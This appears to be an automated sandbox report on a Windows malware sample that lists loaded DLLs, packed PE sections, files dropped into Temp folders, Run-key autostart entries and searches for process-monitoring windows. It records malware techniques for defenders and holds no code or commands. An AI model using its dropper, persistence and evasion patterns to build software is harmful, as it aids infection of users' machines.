Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2989568 > 1048576

Source: file.exe

Static PE information: Raw size of fedkisnw is bigger than: 0x100000 < 0x2b0800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Unpacked PE file: 3.2.0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.d10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.990000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.990000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Unpacked PE file: 7.2.A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.c50000.0.unpack :EW;.rsrc:W;.idata :W;fekqellx:EW;rtvnkudg:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Unpacked PE file: 12.2.353ab0ae6e.exe.f60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ffngccge:EW;atmmyeyl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ffngccge:EW;atmmyeyl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Unpacked PE file: 16.2.09d417a7c4.exe.c30000.0.unpack :EW;.rsrc :W;.idata :W;fedkisnw:EW;adtbrenv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;fedkisnw:EW;adtbrenv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Unpacked PE file: 32.2.353ab0ae6e.exe.f60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ffngccge:EW;atmmyeyl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ffngccge:EW;atmmyeyl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Unpacked PE file: 33.2.RETV5V6Q4X285DV6.exe.b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dpbwynir:EW;gxdcsuck:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Unpacked PE file: 37.2.SOZIL3CYM3GR68KV3Z4.exe.770000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ffngccge:EW;atmmyeyl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ffngccge:EW;atmmyeyl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x2e20f2 should be: 0x2df8a4
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: real checksum: 0x2abcb8 should be: 0x2b2619
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: real checksum: 0x1dc5b6 should be: 0x1e46b6
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x1c8855 should be: 0x1d2705
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: real checksum: 0x1c8855 should be: 0x1d2705
Source: 09d417a7c4.exe.10.dr	Static PE information: real checksum: 0x2e20f2 should be: 0x2df8a4
Source: 353ab0ae6e.exe.10.dr	Static PE information: real checksum: 0x1c8855 should be: 0x1d2705
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: real checksum: 0x1dc5b6 should be: 0x1e46b6
Source: file.exe	Static PE information: real checksum: 0x2e20f2 should be: 0x2df8a4
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1dc5b6 should be: 0x1e46b6
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: real checksum: 0x1c8855 should be: 0x1d2705
Source: num[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: real checksum: 0x2abcb8 should be: 0x2b2619

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: fedkisnw
Source: file.exe	Static PE information: section name: adtbrenv
Source: file.exe	Static PE information: section name: .taggant
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name:
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name: .idata
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name: fekqellx
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name: rtvnkudg
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name: .taggant
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name:
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: .idata
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name:
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: dpbwynir
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: gxdcsuck
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: .taggant
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name:
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: .rsrc
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: .idata
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name:
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: ffngccge
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: atmmyeyl
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: dpbwynir
Source: skotes.exe.3.dr	Static PE information: section name: gxdcsuck
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: fedkisnw
Source: random[1].exe.10.dr	Static PE information: section name: adtbrenv
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: 09d417a7c4.exe.10.dr	Static PE information: section name:
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: .rsrc
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: .idata
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: fedkisnw
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: adtbrenv
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: ffngccge
Source: random[1].exe0.10.dr	Static PE information: section name: atmmyeyl
Source: random[1].exe0.10.dr	Static PE information: section name: .taggant
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name:
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: .rsrc
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: .idata
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name:
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: ffngccge
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: atmmyeyl
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: .taggant
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name:
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: .idata
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name:
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: dpbwynir
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: gxdcsuck
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: .taggant
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name:
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: .rsrc
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: .idata
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name:
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: ffngccge
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: atmmyeyl
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: .taggant
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name:
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name: .idata
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name: fekqellx
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name: rtvnkudg
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2EADC push FFFFFF90h; iretd	0_3_00D2EADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2EADC push FFFFFF90h; iretd	0_3_00D2EADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2EADC push FFFFFF90h; iretd	0_3_00D2EADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D315E4 push FFFFFF90h; iretd	0_3_00D315E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D315E4 push FFFFFF90h; iretd	0_3_00D315E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D315E4 push FFFFFF90h; iretd	0_3_00D315E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3139B pushfd ; iretd	0_3_00D3139E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3139B pushfd ; iretd	0_3_00D3139E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3139B pushfd ; iretd	0_3_00D3139E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D31458 push esi; retf	0_3_00D31459
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D31458 push esi; retf	0_3_00D31459
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D31458 push esi; retf	0_3_00D31459
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D31374 pushfd ; iretd	0_3_00D3138E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D31374 pushfd ; iretd	0_3_00D3138E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D31374 pushfd ; iretd	0_3_00D3138E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2DF10 pushfd ; iretd	0_3_00D2DF2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2DF10 pushfd ; iretd	0_3_00D2DF2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2DF10 pushfd ; iretd	0_3_00D2DF2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3101C push edx; iretd	0_3_00D3101D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3101C push edx; iretd	0_3_00D3101D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3101C push edx; iretd	0_3_00D3101D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2C32F push cs; iretd	0_3_00D2C330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2C32F push cs; iretd	0_3_00D2C330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2C32F push cs; iretd	0_3_00D2C330
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2EADC push FFFFFF90h; iretd	0_3_00D2EADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2EADC push FFFFFF90h; iretd	0_3_00D2EADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D2EADC push FFFFFF90h; iretd	0_3_00D2EADE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D315E4 push FFFFFF90h; iretd	0_3_00D315E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D315E4 push FFFFFF90h; iretd	0_3_00D315E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D315E4 push FFFFFF90h; iretd	0_3_00D315E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D3139B pushfd ; iretd	0_3_00D3139E

Source: file.exe	Static PE information: section name: entropy: 7.963555692387449
Source: A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe.0.dr	Static PE information: section name: entropy: 7.775203790844339
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: entropy: 7.987069524478379
Source: 0BSU3F1DFM4GF1Y0TBRRGTML6V.exe.0.dr	Static PE information: section name: dpbwynir entropy: 7.9542547336729115
Source: RLX7QEJ1ATLQN8ECDIPHB.exe.0.dr	Static PE information: section name: ffngccge entropy: 7.954195447661275
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.987069524478379
Source: skotes.exe.3.dr	Static PE information: section name: dpbwynir entropy: 7.9542547336729115
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.963555692387449
Source: 09d417a7c4.exe.10.dr	Static PE information: section name: entropy: 7.963555692387449
Source: random[1].exe0.10.dr	Static PE information: section name: ffngccge entropy: 7.954195447661275
Source: 353ab0ae6e.exe.10.dr	Static PE information: section name: ffngccge entropy: 7.954195447661275
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: entropy: 7.987069524478379
Source: RETV5V6Q4X285DV6.exe.11.dr	Static PE information: section name: dpbwynir entropy: 7.9542547336729115
Source: SOZIL3CYM3GR68KV3Z4.exe.11.dr	Static PE information: section name: ffngccge entropy: 7.954195447661275
Source: GKAQCOVK40X0NN7A.exe.11.dr	Static PE information: section name: entropy: 7.775203790844339

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File created: C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File created: C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File created: C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001245001\num.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 09d417a7c4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 29af563a7b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 353ab0ae6e.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
